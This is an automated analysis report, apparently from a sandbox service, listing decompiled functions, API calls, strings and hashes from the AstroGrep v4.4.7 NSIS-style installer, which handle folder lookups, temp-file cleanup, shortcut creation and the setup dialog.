0x00405e0c
0x00405e10
0x00000000
0x00000000
0x00405e12
0x00405e16
0x00000000
0x00000000
0x00405e18
0x00405e1c
0x00000000
0x00405e1e
0x00405e1e
0x00000000
0x00405e1e
0x00405e1c
0x00405f81
0x00405f8b
0x00405f97
0x00405f97
0x00000000

APIs

GetVersion.KERNEL32(?,Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\,00000000,00404F80,Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\,00000000), ref: 00405E02
GetSystemDirectoryA.KERNEL32(Remove folder: ,00000400), ref: 00405E7D
GetWindowsDirectoryA.KERNEL32(Remove folder: ,00000400), ref: 00405E90
SHGetSpecialFolderLocation.SHELL32(?,00641654), ref: 00405ECC
SHGetPathFromIDListA.SHELL32(00641654,Remove folder: ), ref: 00405EDA
CoTaskMemFree.OLE32(00641654), ref: 00405EE5
lstrcatA.KERNEL32(Remove folder: ,\Microsoft\Internet Explorer\Quick Launch), ref: 00405F07
lstrlenA.KERNEL32(Remove folder: ,?,Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\,00000000,00404F80,Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\,00000000), ref: 00405F59

Strings

Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\, xrefs: 00405D80
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405E4C
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405F01
Remove folder: , xrefs: 00405D78, 00405E4A, 00405E67, 00405E7C, 00405E8F, 00405EAB, 00405ED6, 00405F06, 00405F0C, 00405F24, 00405F37, 00405F52, 00405F58, 00405F63, 00405F8D
E4`, xrefs: 00405D5E

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: E4`$Remove folder: $Remove folder: C:\Users\user\AppData\Local\Temp\nsa2731.tmp\$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-296895947
Opcode ID: ffbee074652d6b8252cab1eafdb2ae41c9dfe99060cc35530cbd757453430961
Instruction ID: d2d5afd6cadd1c558da9919d7f7a0e519c97b97f5b6dedc277a7ce0050389877
Opcode Fuzzy Hash: ffbee074652d6b8252cab1eafdb2ae41c9dfe99060cc35530cbd757453430961
Instruction Fuzzy Hash: 99610671A04916ABEF216B24DC85BBF7BA8DB15314F10813BE941BA2D1D33C4942DF9E

Uniqueness

Uniqueness Score: -1.00%

Function 004055D1, Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 159
filestringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E004055D1(void* __eflags, signed int _a4, signed int _a8) {
				signed int _v8;
				void* _v12;
				signed int _v16;
				struct _WIN32_FIND_DATAA _v336;
				signed int _t40;
				char* _t53;
				signed int _t55;
				signed int _t58;
				signed int _t64;
				signed int _t66;
				void* _t68;
				signed char _t69;
				CHAR* _t71;
				void* _t72;
				CHAR* _t73;
				char* _t76;

				_t69 = _a8;
				_t73 = _a4;
				_v8 = _t69 & 0x00000004;
				_t40 = E0040588F(__eflags, _t73);
				_v16 = _t40;
				if((_t69 & 0x00000008) != 0) {
					_t66 = DeleteFileA(_t73); // executed
					asm("sbb eax, eax");
					_t68 =  ~_t66 + 1;
					 *0x42e488 =  *0x42e488 + _t68;
					return _t68;
				}
				_a4 = _t69;
				_t8 =  &_a4;
				 *_t8 = _a4 & 0x00000001;
				__eflags =  *_t8;
				if( *_t8 == 0) {
					L5:
					E00405D2F(0x42a870, _t73);
					__eflags = _a4;
					if(_a4 == 0) {
						E004057E8(_t73);
					} else {
						lstrcatA(0x42a870, "\*.*");
					}
					__eflags =  *_t73;
					if( *_t73 != 0) {
						L10:
						lstrcatA(_t73, 0x409014);
						L11:
						_t71 =  &(_t73[lstrlenA(_t73)]); // executed
						_t40 = FindFirstFileA(0x42a870,  &_v336); // executed
						__eflags = _t40 - 0xffffffff;
						_v12 = _t40;
						if(_t40 == 0xffffffff) {
							L29:
							__eflags = _a4;
							if(_a4 != 0) {
								_t32 = _t71 - 1;
								 *_t32 =  *(_t71 - 1) & 0x00000000;
								__eflags =  *_t32;
							}
							goto L31;
						} else {
							goto L12;
						}
						do {
							L12:
							_t76 =  &(_v336.cFileName);
							_t53 = E004057CC( &(_v336.cFileName), 0x3f);
							__eflags =  *_t53;
							if( *_t53 != 0) {
								__eflags = _v336.cAlternateFileName;
								if(_v336.cAlternateFileName != 0) {
									_t76 =  &(_v336.cAlternateFileName);
								}
							}
							__eflags =  *_t76 - 0x2e;
							if( *_t76 != 0x2e) {
								L19:
								E00405D2F(_t71, _t76);
								__eflags = _v336.dwFileAttributes & 0x00000010;
								if(__eflags == 0) {
									_t55 = E00405589(__eflags, _t73, _v8);
									__eflags = _t55;
									if(_t55 != 0) {
										E00404F48(0xfffffff2, _t73);
									} else {
										__eflags = _v8 - _t55;
										if(_v8 == _t55) {
											 *0x42e488 =  *0x42e488 + 1;
										} else {
											E00404F48(0xfffffff1, _t73);
											E00405BEA(_t72, _t73, 0);
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E004055D1(__eflags, _t73, _a8);
									}
								}
								goto L27;
							}
							_t64 =  *((intOrPtr*)(_t76 + 1));
							__eflags = _t64;
							if(_t64 == 0) {
								goto L27;
							}
							__eflags = _t64 - 0x2e;
							if(_t64 != 0x2e) {
								goto L19;
							}
							__eflags =  *((char*)(_t76 + 2));
							if( *((char*)(_t76 + 2)) == 0) {
								goto L27;
							}
							goto L19;
							L27:
							_t58 = FindNextFileA(_v12,  &_v336); // executed
							__eflags = _t58;
						} while (_t58 != 0);
						_t40 = FindClose(_v12);
						goto L29;
					}
					__eflags =  *0x42a870 - 0x5c;
					if( *0x42a870 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t40;
					if(_t40 == 0) {
						L31:
						__eflags = _a4;
						if(_a4 == 0) {
							L39:
							return _t40;
						}
						__eflags = _v16;
						if(_v16 != 0) {
							_t40 = E00406033(_t73);
							__eflags = _t40;
							if(_t40 == 0) {
								goto L39;
							}
							E004057A1(_t73);
							_t40 = E00405589(__eflags, _t73, _v8 | 0x00000001);
							__eflags = _t40;
							if(_t40 != 0) {
								return E00404F48(0xffffffe5, _t73);
							}
							__eflags = _v8;
							if(_v8 == 0) {
								goto L33;
							}
							E00404F48(0xfffffff1, _t73);
							return E00405BEA(_t72, _t73, 0);
						}
						L33:
						 *0x42e488 =  *0x42e488 + 1;
						return _t40;
					}
					__eflags = _t69 & 0x00000002;
					if((_t69 & 0x00000002) == 0) {
						goto L31;
					}
					goto L5;
				}
			}

0x004055db
0x004055e0
0x004055e9
0x004055ec
0x004055f4
0x004055f7
0x004055fa
0x00405602
0x00405604
0x00405605
0x00000000
0x00405605
0x00405610
0x00405613
0x00405613
0x00405613
0x00405617
0x0040562a
0x00405631
0x00405636
0x0040563a
0x0040564a
0x0040563c
0x00405642
0x00405642
0x0040564f
0x00405652
0x0040565d
0x00405663
0x00405668
0x00405678
0x0040567a
0x00405680
0x00405683
0x00405686
0x0040573e
0x0040573e
0x00405742
0x00405744
0x00405744
0x00405744
0x00405744
0x00000000
0x00000000
0x00000000
0x00000000
0x0040568c
0x0040568c
0x00405695
0x0040569b
0x004056a0
0x004056a3
0x004056a5
0x004056a9
0x004056ab
0x004056ab
0x004056a9
0x004056ae
0x004056b1
0x004056c4
0x004056c6
0x004056cb
0x004056d2
0x004056ed
0x004056f2
0x004056f4
0x00405718
0x004056f6
0x004056f6
0x004056f9
0x0040570d
0x004056fb
0x004056fe
0x00405706
0x00405706
0x004056f9
0x004056d4
0x004056da
0x004056dc
0x004056e2
0x004056e2
0x004056dc
0x00000000
0x004056d2
0x004056b3
0x004056b6
0x004056b8
0x00000000
0x00000000
0x004056ba
0x004056bc
0x00000000
0x00000000
0x004056be
0x004056c2
0x00000000
0x00000000
0x00000000
0x0040571d
0x00405727
0x0040572d
0x0040572d
0x00405738
0x00000000
0x00405738
0x00405654
0x0040565b
0x00000000
0x00000000
0x00000000
0x00405619
0x00405619
0x0040561b
0x00405748
0x0040574a
0x0040574d
0x0040579e
0x0040579e
0x0040579e
0x0040574f
0x00405752
0x0040575d
0x00405762
0x00405764
0x00000000
0x00000000
0x00405767
0x00405773
0x00405778
0x0040577a
0x00000000
0x00405795
0x0040577c
0x0040577f
0x00000000
0x00000000
0x00405784
0x00000000
0x0040578b
0x00405754
0x00405754
0x00000000
0x00405754
0x00405621
0x00405624
0x00000000
0x00000000
0x00000000
0x00405624

APIs

DeleteFileA.KERNELBASE(?,?,76712754,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004055FA
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsa2731.tmp\*.*,\*.*,C:\Users\user\AppData\Local\Temp\nsa2731.tmp\*.*,?,?,76712754,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405642
lstrcatA.KERNEL32(?,00409014,?,C:\Users\user\AppData\Local\Temp\nsa2731.tmp\*.*,?,?,76712754,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405663
lstrlenA.KERNEL32(?,?,00409014,?,C:\Users\user\AppData\Local\Temp\nsa2731.tmp\*.*,?,?,76712754,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405669
FindFirstFileA.KERNELBASE(C:\Users\user\AppData\Local\Temp\nsa2731.tmp\*.*,?,?,?,00409014,?,C:\Users\user\AppData\Local\Temp\nsa2731.tmp\*.*,?,?,76712754,C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040567A
FindNextFileA.KERNELBASE(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 00405727
FindClose.KERNEL32(00000000), ref: 00405738

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004055DE
C:\Users\user\AppData\Local\Temp\nsa2731.tmp\*.*, xrefs: 0040562A, 00405630, 00405641, 00405677
"C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE" , xrefs: 004055D1
\*.*, xrefs: 0040563C

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE" $C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nsa2731.tmp\*.*$\*.*
API String ID: 2035342205-3672665788
Opcode ID: 6ac2cefa34964aae47c1e70442158264fa95377be80ed3f6fab0675ef11285f6
Instruction ID: d14c28ea715dd5a13497ef66355ac6b33f8f035006b682f92d24d725560d25e8
Opcode Fuzzy Hash: 6ac2cefa34964aae47c1e70442158264fa95377be80ed3f6fab0675ef11285f6
Instruction Fuzzy Hash: 0D51CF30800A44AADF21AB258C85BBF7AB8DF92754F54447BF404761D2D73C8982EE6E

Uniqueness

Uniqueness Score: -1.00%

Function 0040205E, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139
comCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E0040205E() {
				signed int _t55;
				void* _t59;
				intOrPtr* _t63;
				intOrPtr _t64;
				intOrPtr* _t65;
				intOrPtr* _t67;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr* _t73;
				intOrPtr* _t75;
				intOrPtr* _t78;
				intOrPtr* _t80;
				intOrPtr* _t82;
				intOrPtr* _t84;
				int _t87;
				intOrPtr* _t95;
				signed int _t105;
				signed int _t109;
				void* _t111;

				 *(_t111 - 0x34) = E00402A3A(0xfffffff0);
				 *(_t111 - 0xc) = E00402A3A(0xffffffdf);
				 *((intOrPtr*)(_t111 - 0x4c)) = E00402A3A(2);
				 *((intOrPtr*)(_t111 - 0x40)) = E00402A3A(0xffffffcd);
				 *((intOrPtr*)(_t111 - 0x38)) = E00402A3A(0x45);
				_t55 =  *(_t111 - 0x18);
				 *(_t111 - 0x44) = _t55 & 0x00000fff;
				_t105 = _t55 & 0x00008000;
				_t109 = _t55 >> 0x0000000c & 0x00000007;
				 *(_t111 - 0x3c) = _t55 >> 0x00000010 & 0x0000ffff;
				if(E0040580E( *(_t111 - 0xc)) == 0) {
					E00402A3A(0x21);
				}
				_t59 = _t111 + 8;
				__imp__CoCreateInstance(0x407514, _t87, 1, 0x407504, _t59); // executed
				if(_t59 < _t87) {
					L15:
					 *((intOrPtr*)(_t111 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t63 =  *((intOrPtr*)(_t111 + 8));
					_t64 =  *((intOrPtr*)( *_t63))(_t63, 0x407524, _t111 - 0x30);
					 *((intOrPtr*)(_t111 - 8)) = _t64;
					if(_t64 >= _t87) {
						_t67 =  *((intOrPtr*)(_t111 + 8));
						 *((intOrPtr*)(_t111 - 8)) =  *((intOrPtr*)( *_t67 + 0x50))(_t67,  *(_t111 - 0xc));
						if(_t105 == _t87) {
							_t84 =  *((intOrPtr*)(_t111 + 8));
							 *((intOrPtr*)( *_t84 + 0x24))(_t84, "C:\\Program Files (x86)\\AstroGrep");
						}
						if(_t109 != _t87) {
							_t82 =  *((intOrPtr*)(_t111 + 8));
							 *((intOrPtr*)( *_t82 + 0x3c))(_t82, _t109);
						}
						_t69 =  *((intOrPtr*)(_t111 + 8));
						 *((intOrPtr*)( *_t69 + 0x34))(_t69,  *(_t111 - 0x3c));
						_t95 =  *((intOrPtr*)(_t111 - 0x40));
						if( *_t95 != _t87) {
							_t80 =  *((intOrPtr*)(_t111 + 8));
							 *((intOrPtr*)( *_t80 + 0x44))(_t80, _t95,  *(_t111 - 0x44));
						}
						_t71 =  *((intOrPtr*)(_t111 + 8));
						 *((intOrPtr*)( *_t71 + 0x2c))(_t71,  *((intOrPtr*)(_t111 - 0x4c)));
						_t73 =  *((intOrPtr*)(_t111 + 8));
						 *((intOrPtr*)( *_t73 + 0x1c))(_t73,  *((intOrPtr*)(_t111 - 0x38)));
						if( *((intOrPtr*)(_t111 - 8)) >= _t87) {
							 *((intOrPtr*)(_t111 - 8)) = 0x80004005;
							if(MultiByteToWideChar(_t87, _t87,  *(_t111 - 0x34), 0xffffffff,  *(_t111 - 0xc), 0x400) != 0) {
								_t78 =  *((intOrPtr*)(_t111 - 0x30));
								 *((intOrPtr*)(_t111 - 8)) =  *((intOrPtr*)( *_t78 + 0x18))(_t78,  *(_t111 - 0xc), 1);
							}
						}
						_t75 =  *((intOrPtr*)(_t111 - 0x30));
						 *((intOrPtr*)( *_t75 + 8))(_t75);
					}
					_t65 =  *((intOrPtr*)(_t111 + 8));
					 *((intOrPtr*)( *_t65 + 8))(_t65);
					if( *((intOrPtr*)(_t111 - 8)) >= _t87) {
						_push(0xfffffff4);
					} else {
						goto L15;
					}
				}
				E00401423();
				 *0x42e488 =  *0x42e488 +  *((intOrPtr*)(_t111 - 4));
				return 0;
			}

0x00402067
0x00402071
0x0040207b
0x00402085
0x00402090
0x00402093
0x004020ad
0x004020b0
0x004020b6
0x004020b9
0x004020c3
0x004020c7
0x004020c7
0x004020cc
0x004020dd
0x004020e5
0x004021bb
0x004021bb
0x004021c2
0x004020eb
0x004020eb
0x004020fa
0x004020fe
0x00402101
0x00402107
0x00402115
0x00402118
0x0040211a
0x00402125
0x00402125
0x0040212a
0x0040212c
0x00402133
0x00402133
0x00402136
0x0040213f
0x00402142
0x00402147
0x00402149
0x00402153
0x00402153
0x00402156
0x0040215f
0x00402162
0x0040216b
0x00402171
0x00402178
0x00402191
0x00402193
0x004021a1
0x004021a1
0x00402191
0x004021a4
0x004021aa
0x004021aa
0x004021ad
0x004021b3
0x004021b9
0x004021ce
0x00000000
0x00000000
0x00000000
0x004021b9
0x004021c4
0x004028d2
0x004028de

APIs

CoCreateInstance.OLE32(00407514,?,00000001,00407504,?), ref: 004020DD
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,?,00000400,?,00000001,00407504,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402189

Strings

C:\Program Files (x86)\AstroGrep, xrefs: 0040211D

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Program Files (x86)\AstroGrep
API String ID: 123533781-2344716657
Opcode ID: 2dc2b96a66f57c24b750db45e5506c73cf51cde49f126d2de88fdbea151c2965
Instruction ID: 202bff00353f62e800299527826cf24c9a9ce8e01df6a73eade79aa1dd8fb932
Opcode Fuzzy Hash: 2dc2b96a66f57c24b750db45e5506c73cf51cde49f126d2de88fdbea151c2965
Instruction Fuzzy Hash: 16512775A00208BFCF10DFA4CD88A9DBBB5BF48318F20856AF615EB2D1DA799941CB14

Uniqueness

Uniqueness Score: -1.00%

Function 00406033, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406033(CHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileA(_a4, 0x42b0b8); // executed
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2); // executed
				return 0x42b0b8;
			}

0x0040603e
0x00406047
0x00000000
0x00406054
0x0040604a
0x00000000

APIs

FindFirstFileA.KERNELBASE(?,0042B0B8,C:\,004058D2,C:\,C:\,00000000,C:\,C:\,T'qv,?,C:\Users\user\AppData\Local\Temp\,004055F1,?,76712754,C:\Users\user\AppData\Local\Temp\), ref: 0040603E
FindClose.KERNELBASE(00000000), ref: 0040604A

Strings

C:\, xrefs: 00406033

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: Find$CloseFileFirst
String ID: C:\
API String ID: 2295610775-3404278061
Opcode ID: 1a0439c71b90d7762d613f3ef5096b6a49eabdc5bf1978f8ceae5763bb33e6b2
Instruction ID: 8bfbb141000912a81af5c8de5ce039a851029b32224eb031c3a4159cf0b452c4
Opcode Fuzzy Hash: 1a0439c71b90d7762d613f3ef5096b6a49eabdc5bf1978f8ceae5763bb33e6b2
Instruction Fuzzy Hash: 11D0123195D1205BC31167387D0C88B7B599B163317518A33B56AF12F0C7349C6686EE

Uniqueness

Uniqueness Score: -1.00%

Function 00402688, Relevance: 1.5, APIs: 1, Instructions: 29
fileCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E00402688(char __ebx, char* __edi, char* __esi) {
				void* _t6;
				void* _t19;

				_t6 = FindFirstFileA(E00402A3A(2), _t19 - 0x1a4); // executed
				if(_t6 != 0xffffffff) {
					E00405C8D(__edi, _t6);
					_push(_t19 - 0x178);
					_push(__esi);
					E00405D2F();
				} else {
					 *__edi = __ebx;
					 *__esi = __ebx;
					 *((intOrPtr*)(_t19 - 4)) = 1;
				}
				 *0x42e488 =  *0x42e488 +  *((intOrPtr*)(_t19 - 4));
				return 0;
			}

0x00402697
0x004026a0
0x004026b4
0x004026bf
0x004026c0
0x004027f5
0x004026a2
0x004026a2
0x004026a4
0x004026a6
0x004026a6
0x004028d2
0x004028de

APIs

FindFirstFileA.KERNELBASE(00000000,?,00000002), ref: 00402697

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: bfc32a980be8afd774be7d36f6a04d6cd6616e565dcef0ba011c71aa6fcb6649
Instruction ID: 3dffafe4ea1a5cbb8d5ba181f96d08faa62a405c2aca3b81b81ef469795ec413
Opcode Fuzzy Hash: bfc32a980be8afd774be7d36f6a04d6cd6616e565dcef0ba011c71aa6fcb6649
Instruction Fuzzy Hash: 7AF0A0326081049FE701EBA49949AEEB7789F21324F60057BE241A21C1D7B84985AB3A

Uniqueness

Uniqueness Score: -1.00%

Function 00403A41, Relevance: 59.8, APIs: 32, Strings: 2, Instructions: 345
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00403A41(struct HWND__* _a4, signed int _a8, int _a12, long _a16) {
				struct HWND__* _v32;
				void* _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				signed int _t37;
				void* _t39;
				struct HWND__* _t49;
				signed int _t67;
				struct HWND__* _t73;
				signed int _t86;
				struct HWND__* _t91;
				signed int _t99;
				int _t103;
				signed int _t115;
				signed int _t116;
				int _t117;
				signed int _t122;
				struct HWND__* _t125;
				struct HWND__* _t126;
				int _t127;
				long _t130;
				int _t132;
				int _t133;
				void* _t134;
				void* _t141;
				void* _t142;

				_t115 = _a8;
				if(_t115 == 0x110 || _t115 == 0x408) {
					_t35 = _a12;
					_t125 = _a4;
					__eflags = _t115 - 0x110;
					 *0x429850 = _t35;
					if(_t115 == 0x110) {
						 *0x42e408 = _t125;
						 *0x429864 = GetDlgItem(_t125, 1);
						_t91 = GetDlgItem(_t125, 2);
						_push(0xffffffff);
						_push(0x1c);
						 *0x428830 = _t91;
						E00403F14(_t125);
						SetClassLongA(_t125, 0xfffffff2,  *0x42dbe8);
						 *0x42dbcc = E0040140B(4);
						_t35 = 1;
						__eflags = 1;
						 *0x429850 = 1;
					}
					_t122 = "\t"; // 0x9
					_t133 = 0;
					_t130 = (_t122 << 6) +  *0x42e420;
					__eflags = _t122;
					if(_t122 < 0) {
						L34:
						E00403F60(0x40b);
						while(1) {
							_t37 =  *0x429850; // 0x1
							"\t" = "\t" + _t37;
							_t130 = _t130 + (_t37 << 6);
							_t39 = "\t"; // 0x9
							__eflags = _t39 -  *0x42e424;
							if(_t39 ==  *0x42e424) {
								E0040140B(1);
							}
							__eflags =  *0x42dbcc - _t133; // 0x0
							if(__eflags != 0) {
								break;
							}
							__eflags = "\t" -  *0x42e424; // 0x9
							if(__eflags >= 0) {
								break;
							}
							_t116 =  *(_t130 + 0x14);
							E00405D51(_t116, _t125, _t130, 0x436800,  *((intOrPtr*)(_t130 + 0x24)));
							_push( *((intOrPtr*)(_t130 + 0x20)));
							_push(0xfffffc19);
							E00403F14(_t125);
							_push( *((intOrPtr*)(_t130 + 0x1c)));
							_push(0xfffffc1b);
							E00403F14(_t125);
							_push( *((intOrPtr*)(_t130 + 0x28)));
							_push(0xfffffc1a);
							E00403F14(_t125);
							_t49 = GetDlgItem(_t125, 3);
							__eflags =  *0x42e48c - _t133;
							_v32 = _t49;
							if( *0x42e48c != _t133) {
								_t116 = _t116 & 0x0000fefd | 0x00000004;
								__eflags = _t116;
							}
							ShowWindow(_t49, _t116 & 0x00000008); // executed
							EnableWindow( *(_t134 + 0x30), _t116 & 0x00000100); // executed
							E00403F36(_t116 & 0x00000002);
							_t117 = _t116 & 0x00000004;
							EnableWindow( *0x428830, _t117); // executed
							__eflags = _t117 - _t133;
							if(_t117 == _t133) {
								_push(1);
							} else {
								_push(_t133);
							}
							EnableMenuItem(GetSystemMenu(_t125, _t133), 0xf060, ??);
							SendMessageA( *(_t134 + 0x38), 0xf4, _t133, 1);
							__eflags =  *0x42e48c - _t133;
							if( *0x42e48c == _t133) {
								_push( *0x429864);
							} else {
								SendMessageA(_t125, 0x401, 2, _t133);
								_push( *0x428830);
							}
							E00403F49();
							E00405D2F(0x429868, "AstroGrep v4.4.7 Setup");
							E00405D51(0x429868, _t125, _t130,  &(0x429868[lstrlenA(0x429868)]),  *((intOrPtr*)(_t130 + 0x18)));
							SetWindowTextA(_t125, 0x429868); // executed
							_push(_t133);
							_t67 = E00401389( *((intOrPtr*)(_t130 + 8)));
							__eflags = _t67;
							if(_t67 != 0) {
								continue;
							} else {
								__eflags =  *_t130 - _t133;
								if( *_t130 == _t133) {
									continue;
								}
								__eflags =  *(_t130 + 4) - 5;
								if( *(_t130 + 4) != 5) {
									DestroyWindow( *0x42dbd8); // executed
									 *0x429040 = _t130;
									__eflags =  *_t130 - _t133;
									if( *_t130 <= _t133) {
										goto L58;
									}
									_t73 = CreateDialogParamA( *0x42e400,  *_t130 +  *0x42dbe0 & 0x0000ffff, _t125, ("]@@")[ *(_t130 + 4)], _t130); // executed
									__eflags = _t73 - _t133;
									 *0x42dbd8 = _t73;
									if(_t73 == _t133) {
										goto L58;
									}
									_push( *((intOrPtr*)(_t130 + 0x2c)));
									_push(6);
									E00403F14(_t73);
									GetWindowRect(GetDlgItem(_t125, 0x3fa), _t134 + 0x10);
									ScreenToClient(_t125, _t134 + 0x10);
									SetWindowPos( *0x42dbd8, _t133,  *(_t134 + 0x20),  *(_t134 + 0x20), _t133, _t133, 0x15);
									_push(_t133);
									E00401389( *((intOrPtr*)(_t130 + 0xc)));
									__eflags =  *0x42dbcc - _t133; // 0x0
									if(__eflags != 0) {
										goto L61;
									}
									ShowWindow( *0x42dbd8, 8); // executed
									E00403F60(0x405);
									goto L58;
								}
								__eflags =  *0x42e48c - _t133;
								if( *0x42e48c != _t133) {
									goto L61;
								}
								__eflags =  *0x42e480 - _t133;
								if( *0x42e480 != _t133) {
									continue;
								}
								goto L61;
							}
						}
						DestroyWindow( *0x42dbd8); // executed
						 *0x42e408 = _t133;
						EndDialog(_t125,  *0x428c38);
						goto L58;
					} else {
						__eflags = _t35 - 1;
						if(_t35 != 1) {
							L33:
							__eflags =  *_t130 - _t133;
							if( *_t130 == _t133) {
								goto L61;
							}
							goto L34;
						}
						_push(0);
						_t86 = E00401389( *((intOrPtr*)(_t130 + 0x10)));
						__eflags = _t86;
						if(_t86 == 0) {
							goto L33;
						}
						SendMessageA( *0x42dbd8, 0x40f, 0, 1);
						__eflags =  *0x42dbcc - _t133; // 0x0
						return 0 | __eflags == 0x00000000;
					}
				} else {
					_t125 = _a4;
					_t133 = 0;
					if(_t115 == 0x47) {
						SetWindowPos( *0x429848, _t125, 0, 0, 0, 0, 0x13);
					}
					if(_t115 == 5) {
						asm("sbb eax, eax");
						ShowWindow( *0x429848,  ~(_a12 - 1) & _t115);
					}
					if(_t115 != 0x40d) {
						__eflags = _t115 - 0x11;
						if(_t115 != 0x11) {
							__eflags = _t115 - 0x111;
							if(_t115 != 0x111) {
								L26:
								return E00403F7B(_t115, _a12, _a16);
							}
							_t132 = _a12 & 0x0000ffff;
							_t126 = GetDlgItem(_t125, _t132);
							__eflags = _t126 - _t133;
							if(_t126 == _t133) {
								L13:
								__eflags = _t132 - 1;
								if(_t132 != 1) {
									__eflags = _t132 - 3;
									if(_t132 != 3) {
										_t127 = 2;
										__eflags = _t132 - _t127;
										if(_t132 != _t127) {
											L25:
											SendMessageA( *0x42dbd8, 0x111, _a12, _a16);
											goto L26;
										}
										__eflags =  *0x42e48c - _t133;
										if( *0x42e48c == _t133) {
											_t99 = E0040140B(3);
											__eflags = _t99;
											if(_t99 != 0) {
												goto L26;
											}
											 *0x428c38 = 1;
											L21:
											_push(0x78);
											L22:
											E00403EED();
											goto L26;
										}
										E0040140B(_t127);
										 *0x428c38 = _t127;
										goto L21;
									}
									__eflags = "\t" - _t133; // 0x9
									if(__eflags <= 0) {
										goto L25;
									}
									_push(0xffffffff);
									goto L22;
								}
								_push(_t132);
								goto L22;
							}
							SendMessageA(_t126, 0xf3, _t133, _t133);
